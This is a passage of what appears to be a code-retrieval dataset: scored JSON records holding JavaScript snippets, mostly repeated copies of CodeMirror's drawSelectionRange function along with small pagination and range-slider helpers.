fromPos.top, right - left, fromPos.bottom);\n } else { // Multiple lines\n var topLeft, topRight, botLeft, botRight;\n if (ltr) {\n topLeft = docLTR && openStart && first ? leftSide : fromPos.left;\n topRight = docLTR ? rightSide : wrapX(from, dir, \"before\");\n botLeft = docLTR ? leftSide : wrapX(to, dir, \"after\");\n botRight = docLTR && openEnd && last ? rightSide : toPos.right;\n } else {\n topLeft = !docLTR ? leftSide : wrapX(from, dir, \"before\");\n topRight = !docLTR && openStart && first ? rightSide : fromPos.right;\n botLeft = !docLTR && openEnd && last ? leftSide : toPos.left;\n botRight = !docLTR ? rightSide : wrapX(to, dir, \"after\");\n }\n add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);\n }\n\n if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }\n if (cmpCoords(toPos, start) < 0) { start = toPos; }\n if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }\n if (cmpCoords(toPos, end) < 0) { end = toPos; }\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n }", "title": "" }, { "docid": "94f414f01b89806d590e6157af4125bf", "score": "0.56382096", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n var docLTR = doc.direction == \"ltr\";\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n function wrapX(pos, dir, side) {\n var extent = wrappedLineExtentChar(cm, lineObj, null, pos);\n var prop = (dir == \"ltr\") == (side == \"after\") ? \"left\" : \"right\";\n var ch = side == \"after\" ? extent.begin : extent.end - (/\\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);\n return coords(ch, prop)[prop]\n }\n\n var order = getOrder(lineObj, doc.direction);\n iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {\n var ltr = dir == \"ltr\";\n var fromPos = coords(from, ltr ? \"left\" : \"right\");\n var toPos = coords(to - 1, ltr ? \"right\" : \"left\");\n\n var openStart = fromArg == null && from == 0, openEnd = toArg == null && to == lineLen;\n var first = i == 0, last = !order || i == order.length - 1;\n if (toPos.top - fromPos.top <= 3) { // Single line\n var openLeft = (docLTR ? openStart : openEnd) && first;\n var openRight = (docLTR ? openEnd : openStart) && last;\n var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;\n var right = openRight ? rightSide : (ltr ? toPos : fromPos).right;\n add(left, fromPos.top, right - left, fromPos.bottom);\n } else { // Multiple lines\n var topLeft, topRight, botLeft, botRight;\n if (ltr) {\n topLeft = docLTR && openStart && first ? leftSide : fromPos.left;\n topRight = docLTR ? rightSide : wrapX(from, dir, \"before\");\n botLeft = docLTR ? leftSide : wrapX(to, dir, \"after\");\n botRight = docLTR && openEnd && last ? rightSide : toPos.right;\n } else {\n topLeft = !docLTR ? leftSide : wrapX(from, dir, \"before\");\n topRight = !docLTR && openStart && first ? rightSide : fromPos.right;\n botLeft = !docLTR && openEnd && last ? leftSide : toPos.left;\n botRight = !docLTR ? rightSide : wrapX(to, dir, \"after\");\n }\n add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);\n }\n\n if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }\n if (cmpCoords(toPos, start) < 0) { start = toPos; }\n if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }\n if (cmpCoords(toPos, end) < 0) { end = toPos; }\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n }", "title": "" }, { "docid": "94f414f01b89806d590e6157af4125bf", "score": "0.56382096", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n var docLTR = doc.direction == \"ltr\";\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n function wrapX(pos, dir, side) {\n var extent = wrappedLineExtentChar(cm, lineObj, null, pos);\n var prop = (dir == \"ltr\") == (side == \"after\") ? \"left\" : \"right\";\n var ch = side == \"after\" ? extent.begin : extent.end - (/\\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);\n return coords(ch, prop)[prop]\n }\n\n var order = getOrder(lineObj, doc.direction);\n iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {\n var ltr = dir == \"ltr\";\n var fromPos = coords(from, ltr ? \"left\" : \"right\");\n var toPos = coords(to - 1, ltr ? \"right\" : \"left\");\n\n var openStart = fromArg == null && from == 0, openEnd = toArg == null && to == lineLen;\n var first = i == 0, last = !order || i == order.length - 1;\n if (toPos.top - fromPos.top <= 3) { // Single line\n var openLeft = (docLTR ? openStart : openEnd) && first;\n var openRight = (docLTR ? openEnd : openStart) && last;\n var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;\n var right = openRight ? rightSide : (ltr ? toPos : fromPos).right;\n add(left, fromPos.top, right - left, fromPos.bottom);\n } else { // Multiple lines\n var topLeft, topRight, botLeft, botRight;\n if (ltr) {\n topLeft = docLTR && openStart && first ? leftSide : fromPos.left;\n topRight = docLTR ? rightSide : wrapX(from, dir, \"before\");\n botLeft = docLTR ? leftSide : wrapX(to, dir, \"after\");\n botRight = docLTR && openEnd && last ? rightSide : toPos.right;\n } else {\n topLeft = !docLTR ? leftSide : wrapX(from, dir, \"before\");\n topRight = !docLTR && openStart && first ? rightSide : fromPos.right;\n botLeft = !docLTR && openEnd && last ? leftSide : toPos.left;\n botRight = !docLTR ? rightSide : wrapX(to, dir, \"after\");\n }\n add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);\n }\n\n if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }\n if (cmpCoords(toPos, start) < 0) { start = toPos; }\n if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }\n if (cmpCoords(toPos, end) < 0) { end = toPos; }\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n }", "title": "" }, { "docid": "63e84714f51dee7e31144a2dd6c153a6", "score": "0.5636564", "text": "function updateRangeValues() {\n\t\t\t\tif (paginationService.isRegistered(paginationId)) {\n\t\t\t\t\tvar currentPage = paginationService.getCurrentPage(paginationId),\n\t\t\t\t\t\titemsPerPage = paginationService.getItemsPerPage(paginationId),\n\t\t\t\t\t\ttotalItems = paginationService.getCollectionLength(paginationId);\n\n\t\t\t\t\tscope.range.lower = (currentPage - 1) * itemsPerPage + 1;\n\t\t\t\t\tscope.range.upper = Math.min(currentPage * itemsPerPage, totalItems);\n\t\t\t\t\tscope.range.total = totalItems;\n\t\t\t\t}\n\t\t\t}", "title": "" }, { "docid": "ec35aef8fc5b7ff4251257163ddacc2d", "score": "0.56265", "text": "function getPopRange(input) {\n var mx = document.getElementById('hiPop').innerHTML;\n document.getElementById('popden_range').max = mx;\n var mn = document.getElementById('lowPop').innerHTML;\n document.getElementById('popden_range').min = mn;\n var unit = (mx - mn) / 100;\n document.getElementById('popden_range').step = unit;\n filterPopData(input);\n}", "title": "" }, { "docid": "fdcf0f9741f817499d5e94e411d429ac", "score": "0.5616328", "text": "function Slider(value) {\ndocument.getElementById('rangeValue').innerHTML = value;\n}", "title": "" }, { "docid": "d33add730f28978235e86c073a43cea0", "score": "0.56127924", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n var docLTR = doc.direction == \"ltr\";\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n function wrapX(pos, dir, side) {\n var extent = wrappedLineExtentChar(cm, lineObj, null, pos);\n var prop = (dir == \"ltr\") == (side == \"after\") ? \"left\" : \"right\";\n var ch = side == \"after\" ? extent.begin : extent.end - (/\\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);\n return coords(ch, prop)[prop]\n }\n\n var order = getOrder(lineObj, doc.direction);\n iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {\n var ltr = dir == \"ltr\";\n var fromPos = coords(from, ltr ? \"left\" : \"right\");\n var toPos = coords(to - 1, ltr ? \"right\" : \"left\");\n\n var openStart = fromArg == null && from == 0, openEnd = toArg == null && to == lineLen;\n var first = i == 0, last = !order || i == order.length - 1;\n if (toPos.top - fromPos.top <= 3) { // Single line\n var openLeft = (docLTR ? openStart : openEnd) && first;\n var openRight = (docLTR ? openEnd : openStart) && last;\n var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;\n var right = openRight ? rightSide : (ltr ? toPos : fromPos).right;\n add(left, fromPos.top, right - left, fromPos.bottom);\n } else { // Multiple lines\n var topLeft, topRight, botLeft, botRight;\n if (ltr) {\n topLeft = docLTR && openStart && first ? leftSide : fromPos.left;\n topRight = docLTR ? rightSide : wrapX(from, dir, \"before\");\n botLeft = docLTR ? leftSide : wrapX(to, dir, \"after\");\n botRight = docLTR && openEnd && last ? rightSide : toPos.right;\n } else {\n topLeft = !docLTR ? leftSide : wrapX(from, dir, \"before\");\n topRight = !docLTR && openStart && first ? rightSide : fromPos.right;\n botLeft = !docLTR && openEnd && last ? leftSide : toPos.left;\n botRight = !docLTR ? rightSide : wrapX(to, dir, \"after\");\n }\n add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);\n }\n\n if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }\n if (cmpCoords(toPos, start) < 0) { start = toPos; }\n if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }\n if (cmpCoords(toPos, end) < 0) { end = toPos; }\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n}", "title": "" }, { "docid": "d33add730f28978235e86c073a43cea0", "score": "0.56127924", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n var docLTR = doc.direction == \"ltr\";\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n function wrapX(pos, dir, side) {\n var extent = wrappedLineExtentChar(cm, lineObj, null, pos);\n var prop = (dir == \"ltr\") == (side == \"after\") ? \"left\" : \"right\";\n var ch = side == \"after\" ? extent.begin : extent.end - (/\\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);\n return coords(ch, prop)[prop]\n }\n\n var order = getOrder(lineObj, doc.direction);\n iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {\n var ltr = dir == \"ltr\";\n var fromPos = coords(from, ltr ? \"left\" : \"right\");\n var toPos = coords(to - 1, ltr ? \"right\" : \"left\");\n\n var openStart = fromArg == null && from == 0, openEnd = toArg == null && to == lineLen;\n var first = i == 0, last = !order || i == order.length - 1;\n if (toPos.top - fromPos.top <= 3) { // Single line\n var openLeft = (docLTR ? openStart : openEnd) && first;\n var openRight = (docLTR ? openEnd : openStart) && last;\n var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;\n var right = openRight ? rightSide : (ltr ? toPos : fromPos).right;\n add(left, fromPos.top, right - left, fromPos.bottom);\n } else { // Multiple lines\n var topLeft, topRight, botLeft, botRight;\n if (ltr) {\n topLeft = docLTR && openStart && first ? leftSide : fromPos.left;\n topRight = docLTR ? rightSide : wrapX(from, dir, \"before\");\n botLeft = docLTR ? leftSide : wrapX(to, dir, \"after\");\n botRight = docLTR && openEnd && last ? rightSide : toPos.right;\n } else {\n topLeft = !docLTR ? leftSide : wrapX(from, dir, \"before\");\n topRight = !docLTR && openStart && first ? rightSide : fromPos.right;\n botLeft = !docLTR && openEnd && last ? leftSide : toPos.left;\n botRight = !docLTR ? rightSide : wrapX(to, dir, \"after\");\n }\n add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);\n }\n\n if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }\n if (cmpCoords(toPos, start) < 0) { start = toPos; }\n if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }\n if (cmpCoords(toPos, end) < 0) { end = toPos; }\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n}", "title": "" }, { "docid": "d33add730f28978235e86c073a43cea0", "score": "0.56127924", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n var docLTR = doc.direction == \"ltr\";\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n function wrapX(pos, dir, side) {\n var extent = wrappedLineExtentChar(cm, lineObj, null, pos);\n var prop = (dir == \"ltr\") == (side == \"after\") ? \"left\" : \"right\";\n var ch = side == \"after\" ? extent.begin : extent.end - (/\\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);\n return coords(ch, prop)[prop]\n }\n\n var order = getOrder(lineObj, doc.direction);\n iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {\n var ltr = dir == \"ltr\";\n var fromPos = coords(from, ltr ? \"left\" : \"right\");\n var toPos = coords(to - 1, ltr ? \"right\" : \"left\");\n\n var openStart = fromArg == null && from == 0, openEnd = toArg == null && to == lineLen;\n var first = i == 0, last = !order || i == order.length - 1;\n if (toPos.top - fromPos.top <= 3) { // Single line\n var openLeft = (docLTR ? openStart : openEnd) && first;\n var openRight = (docLTR ? openEnd : openStart) && last;\n var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;\n var right = openRight ? rightSide : (ltr ? toPos : fromPos).right;\n add(left, fromPos.top, right - left, fromPos.bottom);\n } else { // Multiple lines\n var topLeft, topRight, botLeft, botRight;\n if (ltr) {\n topLeft = docLTR && openStart && first ? leftSide : fromPos.left;\n topRight = docLTR ? rightSide : wrapX(from, dir, \"before\");\n botLeft = docLTR ? leftSide : wrapX(to, dir, \"after\");\n botRight = docLTR && openEnd && last ? rightSide : toPos.right;\n } else {\n topLeft = !docLTR ? leftSide : wrapX(from, dir, \"before\");\n topRight = !docLTR && openStart && first ? rightSide : fromPos.right;\n botLeft = !docLTR && openEnd && last ? leftSide : toPos.left;\n botRight = !docLTR ? rightSide : wrapX(to, dir, \"after\");\n }\n add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);\n }\n\n if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }\n if (cmpCoords(toPos, start) < 0) { start = toPos; }\n if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }\n if (cmpCoords(toPos, end) < 0) { end = toPos; }\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n}", "title": "" }, { "docid": "d33add730f28978235e86c073a43cea0", "score": "0.56127924", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n var docLTR = doc.direction == \"ltr\";\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n function wrapX(pos, dir, side) {\n var extent = wrappedLineExtentChar(cm, lineObj, null, pos);\n var prop = (dir == \"ltr\") == (side == \"after\") ? \"left\" : \"right\";\n var ch = side == \"after\" ? extent.begin : extent.end - (/\\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);\n return coords(ch, prop)[prop]\n }\n\n var order = getOrder(lineObj, doc.direction);\n iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {\n var ltr = dir == \"ltr\";\n var fromPos = coords(from, ltr ? \"left\" : \"right\");\n var toPos = coords(to - 1, ltr ? \"right\" : \"left\");\n\n var openStart = fromArg == null && from == 0, openEnd = toArg == null && to == lineLen;\n var first = i == 0, last = !order || i == order.length - 1;\n if (toPos.top - fromPos.top <= 3) { // Single line\n var openLeft = (docLTR ? openStart : openEnd) && first;\n var openRight = (docLTR ? openEnd : openStart) && last;\n var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;\n var right = openRight ? rightSide : (ltr ? toPos : fromPos).right;\n add(left, fromPos.top, right - left, fromPos.bottom);\n } else { // Multiple lines\n var topLeft, topRight, botLeft, botRight;\n if (ltr) {\n topLeft = docLTR && openStart && first ? leftSide : fromPos.left;\n topRight = docLTR ? rightSide : wrapX(from, dir, \"before\");\n botLeft = docLTR ? leftSide : wrapX(to, dir, \"after\");\n botRight = docLTR && openEnd && last ? rightSide : toPos.right;\n } else {\n topLeft = !docLTR ? leftSide : wrapX(from, dir, \"before\");\n topRight = !docLTR && openStart && first ? rightSide : fromPos.right;\n botLeft = !docLTR && openEnd && last ? leftSide : toPos.left;\n botRight = !docLTR ? rightSide : wrapX(to, dir, \"after\");\n }\n add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);\n if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }\n add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);\n }\n\n if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }\n if (cmpCoords(toPos, start) < 0) { start = toPos; }\n if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }\n if (cmpCoords(toPos, end) < 0) { end = toPos; }\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n}", "title": "" }, { "docid": "d33add730f28978235e86c073a43cea0", "score": "0.56127924", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n var docLTR = doc.direction == \"ltr\";\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n function wrapX(pos, dir, side) {\n var extent = wrappedLineExtentChar(cm, lineObj, null, pos);\n var prop = (dir == \"ltr\") == (side == \"after\") ? \"left\" : \"right\";\n var ch = side == \"after\" ? extent.begin : extent.end - (/\\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);\n return coords(ch, prop)[prop]\n }\n\n var order = getOrder(lineObj, doc.direction);\n iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {\n var ltr = dir == \"ltr\";\n var fromPos = coords(from, ltr ? \"left\" : \"right\");\n var toPos = coords(to - 1, ltr ? \"right\" : 